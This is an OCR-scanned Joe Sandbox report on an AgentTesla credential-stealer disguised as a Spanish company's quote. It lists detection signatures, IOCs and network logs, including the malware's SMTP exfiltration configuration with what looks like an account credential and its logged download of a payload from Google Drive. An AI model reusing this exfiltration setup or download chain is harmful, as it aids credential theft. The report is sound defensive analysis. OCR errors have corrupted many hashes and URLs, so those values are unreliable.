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Behavior
System Behavior

Analysis Process: GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta 2709212890.exe PID: 6848 Parent PID: 8368
General
File Activities

Analysis Process: RegAsm.exe PID: 8360 Parent PID: 6848
General
File Activities

File Created

File Written
File Read

Analysis Process: conhost.exe PID: 7256 Parent PID: 8360
General
File Activities

Disassembly
Code Analysis
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Windows Analysis Report GRUPO MARI#U00d10 OBRA...

Overview

General Information Detection

Sample GRUPO MARI#U00d10

Name: OBRAS Y SERVICIOS, SL MALICIOUS

Oferta 2709212890.exe
Analysis ID: 1372

MDS: 917a78f3605abfd..
SHAL: c753e171b3ef5h9.
SHA256: 03e08e44d9df2a0.
Infos: Qt Sy

Most interesting Screenshot:

Process Tree

= System is wl0x64native

entTesla

Score:

Range:

Whitelisted:

Confidence:

100
0-100
false

100%

Found malware configuration
Multi AV Scanner detection
Yara detected AgentTesla

Antivirus / Scanner detection for sub...

Sigma detected: RegAsm connects ...

for subm...

Hides threads from debuggers

Writes to foreign memoary. regions

Tries to harvest and steal Putty. / Wi...
Tries to detect Any.run

Tries to harvest and steal ftp loginic...
Tries to detect sandboxes and other...

Tries to steal Mail credentials (via fil...

%)
«Q
=3
4
c
=
(1
7]

Classification

. ® GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta 2709212890.exe (PID: 6848 cmdline: 'C:\Users\user\Desktop\GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta
2709212890.exe’ MD5: 917A78F3605ABFDA3674FE5264A721E9)

e (B RegAsm.exe (PID: 8360 cmdline: 'C:\Users\user\Desktop\GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta 2709212890.exe’ MD5:

OD5DF43AF2916F47D00C1573797C1A13)

o conhost.exe (PID: 7256 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)

= cleanup

Malware Configuration

Threatname: Agenttesla

{
"Exfil Mode": "SMTP",

"SMTP Info": "myriam@mylgestion.comMyL06myrimail.mylgestion.comjasonmicheal2099 @gmail.com"

}

Yara Overview

Memory Dumps

Source

00000009.00000002.5663356827.000000001DE
9D000.00000004.00000001.sdmp

00000009.00000002.5660134124.000000001DD
B1000.00000004.00000001.sdmp

00000009.00000002.5660134124.000000001DD
B1000.00000004.00000001.sdmp
Process Memory Space: RegAsm.exe PID: 8360

Process Memory Space: RegAsm.exe PID: 8360

Copyright Joe Security LLC 2021

Rule

JoeSecurity_AgentTesla_1
JoeSecurity_AgentTesla_1
JoeSecurity_CredentialSte
aler

JoeSecurity_AgentTesla_1

JoeSecurity_CredentialSte
aler

Description

Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
Credential Stealer

Yara detected
AgentTesla

Yara detected
Credential Stealer

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Strings
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Sigma Overview

Networking: | |

Sigma detected: RegAsm connects to smtp port

Jbx Signhature Overview

@ Click to jump to signature section

]

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file

Antivirus | Scanner detection for submitted sample

Networking:

£ L

Malware Analysis System Evasion:

Anti Debugging:

=

HIPS | PFW | Operating System Protection Evasion:

]

Stealing of Sensitive Information:

]

Yara detected AgentTesla

Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
Domains
Source Detection Scanner Label Link
mylgestion.com 0% Virustotal Browse

Page 7 of 35

Copyright Joe Security LLC 2021


https://www.virustotal.com/gui/file/03e08e44d9df2a0ecc7824cc1b8f41e200cee531be111ee21d56ae1a5e05821a/detection/f-03e08e44d9df2a0ecc7824cc1b8f41e200cee531be111ee21d56ae1a5e05821a-1632749491
https://www.virustotal.com/gui/url/6269401045625415bac4f80d8586f769a0749c9276b1b7a170164b4c3efb1b22/detection/u-6269401045625415bac4f80d8586f769a0749c9276b1b7a170164b4c3efb1b22-1589822965

Source Detection Scanner Label Link

mail.mylgestion.com 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://DynDns.comDynDNS 0% Avira URL Cloud safe
http:/icps.letsencrypt.org0 0% Avira URL Cloud safe
http:i/https://[qHEDRowcvxxxWAUzuEGa.comt-DI 0% Avira URL Cloud safe
http:i/https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.zip%tordir%%ha

http:/fharvFZ.com 0% Avira URL Cloud safe
http:/ix1.c.lencr.org/0 0% Avira URL Cloud safe
http:/fx1.i.lencr.org/0 0% Avira URL Cloud safe

http:/ir3.0.lencr.org0 0% Avira URL Cloud safe

http:/fmail. mylgestion.com 0% Avira URL Cloud safe
http:/fmylgestion.com 0% Avira URL Cloud safe
http://https://[qHEDRowcvxxxWAUzuEGa.com 0% Avira URL Cloud safe
http://cps.root-x1.letsencrypt.org0 0% Avira URL Cloud safe

http:/ir3.i.lencr.org/0 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
drive.google.com 142.250.185.238 true false high
googlehosted.l.googleusercontent.com 142.250.184.193 true false high
doc-04-9c-docs.googleusercontent.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
hitp://https://doc-04-9c- false high
docs.googleusercontent.com/docs/securesc/haOro937gcuc?I7deffksulhgs5h7mbp1/I5kienm2p5

6h50rnm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1qDBeu73xAjqY SegIM
8wSNOboMaZKTj_s?e=download

URLs from Memory and Binaries

Contacted IPs

Public
P Domain Country Flag ASN ASN Name Malicious
142.250.184.193 googlehosted.l.googleuser United States = 15169 GOOGLEUS false

content.com

142.250.185.238 drive.google.com United States = 15169 GOOGLEUS false

Private

P
192.168.11.1
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https://www.virustotal.com/gui/url/def5b8d563053d8f663e7870723d2c3d56fdd549807826abf9b5ebef6e577c3c/detection/u-def5b8d563053d8f663e7870723d2c3d56fdd549807826abf9b5ebef6e577c3c-1603852649
https://www.virustotal.com/gui/url/6269401045625415bac4f80d8586f769a0749c9276b1b7a170164b4c3efb1b22/detection/u-6269401045625415bac4f80d8586f769a0749c9276b1b7a170164b4c3efb1b22-1589822965
https://www.virustotal.com/gui/url/def5b8d563053d8f663e7870723d2c3d56fdd549807826abf9b5ebef6e577c3c/detection/u-def5b8d563053d8f663e7870723d2c3d56fdd549807826abf9b5ebef6e577c3c-1603852649

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

33.0.0 White Diamond

1372

27.09.2021

18:51:21

CloudBasic

Oh 14m 32s

false

light

GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta 2709212890.exe
default.jbs

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe

Reader DC 21, Java 8 Update 301
Suspected Instruction Hammering

28

o ©o o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]

default

Timeout

MAL

mal100.spre.troj.spyw.evad. WinEXE@4/1@3/4

Failed

Failed

e Successful, ratio: 97%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Warnings: Show All

Simulations

Behavior and APIs

Time Type Description

18:56:10 API Interceptor 2549x Sleep call for process: RegAsm.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection

37.59.226.120 Get hash malicious
Get hash malicious
Get hash malicious

Domains

Match Associated Sample Name / URL SHA 256 Detection

Copyright Joe Security LLC 2021

Link
Browse
Browse

Browse

Link

Context

Context
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https://view.joesandbox.com/analysis/381883/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381883/html/none?idtype=webid
https://view.joesandbox.com/analysis/224017/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224017/html/none?idtype=webid
https://view.joesandbox.com/analysis/219413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219413/html/none?idtype=webid

ASN

Match
OVHFR

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection
malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link
Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

51.70.255.217
51.178.244.189
178.32.63.50

178.32.63.50

164.132.17
1.176

51.89.115.111
87.98.153.120
176.31.32.199
176.31.32.199
176.31.32.199
51.89.115.111
176.31.32.199
51.254.69.209
37.187.28.233
51.91.193.179
176.31.32.199
176.31.32.199
176.31.32.199
51.254.84.37

176.31.32.199

Context

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193

142.250.18
5.238
142.250.18
4.193
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https://view.joesandbox.com/analysis/385988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385988/html/none?idtype=webid
https://view.joesandbox.com/analysis/385934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385934/html/none?idtype=webid
https://view.joesandbox.com/analysis/385795/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385795/html/none?idtype=webid
https://view.joesandbox.com/analysis/385782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385782/html/none?idtype=webid
https://view.joesandbox.com/analysis/385781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385781/html/none?idtype=webid
https://view.joesandbox.com/analysis/385701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385701/html/none?idtype=webid
https://view.joesandbox.com/analysis/385696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385696/html/none?idtype=webid
https://view.joesandbox.com/analysis/385598/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385598/html/none?idtype=webid
https://view.joesandbox.com/analysis/385589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385589/html/none?idtype=webid
https://view.joesandbox.com/analysis/385575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385575/html/none?idtype=webid
https://view.joesandbox.com/analysis/385551/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385551/html/none?idtype=webid
https://view.joesandbox.com/analysis/385515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385515/html/none?idtype=webid
https://view.joesandbox.com/analysis/385475/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385475/html/none?idtype=webid
https://view.joesandbox.com/analysis/385457/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385457/html/none?idtype=webid
https://view.joesandbox.com/analysis/385454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385454/html/none?idtype=webid
https://view.joesandbox.com/analysis/385444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385444/html/none?idtype=webid
https://view.joesandbox.com/analysis/385435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385435/html/none?idtype=webid
https://view.joesandbox.com/analysis/385431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385431/html/none?idtype=webid
https://view.joesandbox.com/analysis/385430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385430/html/none?idtype=webid
https://view.joesandbox.com/analysis/385416/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385416/html/none?idtype=webid
https://view.joesandbox.com/analysis/386047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386047/html/none?idtype=webid
https://view.joesandbox.com/analysis/386043/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386043/html/none?idtype=webid
https://view.joesandbox.com/analysis/386041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386041/html/none?idtype=webid
https://view.joesandbox.com/analysis/386040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386040/html/none?idtype=webid
https://view.joesandbox.com/analysis/386037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386037/html/none?idtype=webid
https://view.joesandbox.com/analysis/386036/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386036/html/none?idtype=webid
https://view.joesandbox.com/analysis/386034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386034/html/none?idtype=webid
https://view.joesandbox.com/analysis/386033/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386033/html/none?idtype=webid
https://view.joesandbox.com/analysis/386031/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386031/html/none?idtype=webid
https://view.joesandbox.com/analysis/386023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386023/html/none?idtype=webid
https://view.joesandbox.com/analysis/386022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386022/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Get hash malicious Browse e 142.250.18
5.238
e 142.250.18
4.193
Dropped Files
No context
Created / dropped Files
\Device\ConDrv
Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped
Size (bytes): 30
Entropy (8bit): 3.964735178725505
Encrypted: false
SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner
MDS5: 9F754B47B351EFOFC32527B541420595
SHA1L: 006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256: 0219D77348D2F0510025E188D4EA84ABE73F856DEB5E0878D673079D05840591
SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false
Reputation: moderate, very likely benign file
Preview:

NordVPN directory not found!..

Static File Info

General
File type:
Entropy (8bit):

Copyright Joe Security LLC 2021

PE32 executable (GUI) Intel 80386, for MS Windows
6.27152818261402
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https://view.joesandbox.com/analysis/386018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386018/html/none?idtype=webid
https://view.joesandbox.com/analysis/386002/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386002/html/none?idtype=webid
https://view.joesandbox.com/analysis/386001/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386001/html/none?idtype=webid
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid
https://view.joesandbox.com/analysis/385986/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385986/html/none?idtype=webid
https://view.joesandbox.com/analysis/385950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385950/html/none?idtype=webid
https://view.joesandbox.com/analysis/385937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385937/html/none?idtype=webid
https://view.joesandbox.com/analysis/385930/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385930/html/none?idtype=webid
https://view.joesandbox.com/analysis/385925/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385925/html/none?idtype=webid

General
TrID:

File name:

File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

\

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:
Entrypoint Preview
Data Directories
Sections

Name  Virtual Address

text 0x1000
.data 0x16000
.rsrc 0x17000

Resources

Copyright Joe Security LLC 2021

Virtual Size
0x14308

0x9f4

0x1cbO

Raw Size

0x15000

0x1000

0x2000

Xored PE

False

False

False

78f8d6d4ac88d0e2

0x4012d4
text
false
0x400000

windows gui

e Win32 Executable (generic) a (10002005/4)
99.15%

* Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL
Oferta 2709212890.exe

102400
917a78f3605abfda3674fe5264a721e9
€753e171b3ef5b974d70de7247734e3008841fd2

03e08e44d9df2a0ecc7824cc1b8f41e200cee531belllee
21d56aela5e05821a

b47adccf86fe1998de864d46a71a7b40efa8846b969ffcl7
5fa2a345000f7f9b472c223c040b58fbdal511bfb5b0c58b
b3b309ad276c3ad41e05234107eba67f

3072:ybQFnVb1t7zwaWVXpDMDeUtulrRMMBSy7gSN
YS:WMnhltwaWh2DeUtulrRMuSy7gg

is program cannot be run in DOS mode....$.
0....... 0...Richl........... PE..L.....

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x597805FC [Wed Jul 26 03:01:16 2017 UTC]

o » o » O &

lebOaaa4f15bbd841e91215ce68e26d2

ZLIB Complexity
0.561941964286

0.00634765625

0.263427734375

File Type

data

data

data

Entropy Characteristics

6.66841189519 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

3.45335815554 IMAGE_SCN_CNT_INITIALIZED_DA

TA, IMAGE_SCN_MEM_READ
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Imports
Version Infos
Possible Origin

Language of compilation system

English United States

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP

Sep 27, 2021 18:55:58.509557962 CEST 192.168.11.20 1111

Sep 27, 2021 18:55:59.107471943 CEST 192.168.11.20 1111

Sep 27, 2021 18:57:35.737463951 CEST 192.168.11.20 1111

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code

Sep 27, 2021 No error (0)
18:54:59.342324972

CEST

Sep 27, 2021
18:54:59.342324972
CEST

1111 192.168.11.20  0xa988

1111 192.168.11.20  0xa988 No error (0)

Sep 27, 2021
18:55:58.518080950
CEST

Sep 27, 2021
18:55:59.137696028
CEST

1111 192.168.11.20  Oxeb45 No error (0)

1111 192.168.11.20  0x6759 No error (0)

Sep 27, 2021
18:55:59.137696028
CEST

1111 192.168.11.20  0x6759 No error (0)

Sep 27, 2021
18:57:36.054955959
CEST

Sep 27, 2021
18:57:36.054955959
CEST

Sep 27, 2021
19:03:13.851216078
CEST

1111 192.168.11.20  Ox8abd No error (0)

1111 192.168.11.20  Ox8abd No error (0)

1111 192.168.11.20  0x28dd No error (0)

HTTP Request Dependency Graph

Copyright Joe Security LLC 2021

Trans ID

Oxeb45

0x6759

0x8abd

Name

devcentera
pi.azure-api.net

devcenterapi-
eastus-
0l.regiona
l.azure-api.net

drive.goog
le.com

doc-04-9c-
docs.goog|
euserconte
nt.com

googlehost
ed.l.googl
euserconte
nt.com

mail.mylge
stion.com

mylgestion.com

prda.aadg.
msidentity.com

Country where language is spoken

OP Code

Standard query
©)
Standard query
©)

Standard query
(©)

CName

Name

Type

drive.google.com A (IP address)

doc-04-9c-
docs.googl
eusercontent.com
mail.mylge
stion.com

Address

apimgmttmr17ij3jt5dneg6
4srod9jevcuajxaoubedbrt

u9cq.trafficmanager.net

apimgmthszbjimgeglorvth
kncixvpso9vnynvh3ehms

dli33a.cloudapp.net

142.250.185.238

googlehosted.l.googleuse

rcontent.com

mylgestion.com

142.250.184.193

37.59.226.120

www.tm.a.prd.aadg.traffic

manager.net

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e drive.google.com

e doc-04-9c-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

2021-09-27 16:55:58 UTC 0

2021-09-27 16:55:59 UTC 0

2021-09-27 16:55:59 UTC 1

2021-09-27 16:55:59 UTC 1

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-09-27 16:55:59 UTC 1

Copyright Joe Security LLC 2021

Source Port

49718

Direction

ouT

Source Port
49719

Direction
ouT

Destination IP Destination Port Process

142.250.185.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Data

GET /uc?export=download&id=1qgDBeu73xAjqYSegIJM8wSNOboMaZKTj_s HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Mon, 27 Sep 2021 16:55:58 GMT

Location: https://doc-04-9c-docs.googleusercontent.com/docs/securesc/haOro937gcuc?I7deffksulhgsh7mbpl/I5kienm2
p56h50rnm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1gDBeu73xAjqY SegIMBwSNOboMazZKTj_s?
e=download

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Content-Security-Policy: script-src ‘nonce-Ryt+pj5nW9IK2UGPTzdqOvw' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=XA2NsXn7xA2XW5kUjKsu_LhvsJaT87gGQIpQYOMAS8jcIQZPdh9XQH7e9ZmKNAOH3Tew_J7
26YDGh47K2pc53nSh20QI5v-EuE5uYUQx5vHmMag7FO0m5Da07al pt3WePgt2m1NgEUW3LEWRf17yX8y7aui8w7gAqZR
TC53THTKGIE; expires=Tue, 29-Mar-2022 16:55:58 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
®

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 34 2d 39 63 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 6¢ 35 6b 69

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-04-9c-docs.goog
leusercontent.com/docs/securesc/ha0Oro937gcuc7I7deffksulhgsh7mbp1/I5ki

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.184.193 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Data

GET /docs/securesc/haOro937gcuc?|7deffksulng5h7mbpl/I5kienm2p56h50rnm8vinépuocoet5fn/1632761700000/1
3596271228415839806/*/1qDBeu73xAjqY SegIMBwSNOboMazZKTj_s?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-04-9c-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-27 16:55:59 UTC 2

2021-09-27 16:55:59 UTC 5

2021-09-27 16:55:59 UTC 9

2021-09-27 16:55:59 UTC 12

2021-09-27 16:55:59 UTC 16

2021-09-27 16:55:59 UTC 18

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdsCc-Bti2xF1HRepWiKGmkNs50QekB0cQgGWhc4RjXn4njZmghSOZdVxTuD2aPb
CVCC18vY_SyOZQT-nB8F4h4zolLFhzA

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata,
X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-
Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-
name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-
Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-F
irebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-
GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-
goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-Encode-
Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-
goog-iam-authority-selector, X-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings,
X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Conte
nt-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length,
X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-
Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key,
X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-
Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-
Override, X-los-Bundle-ldentifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-
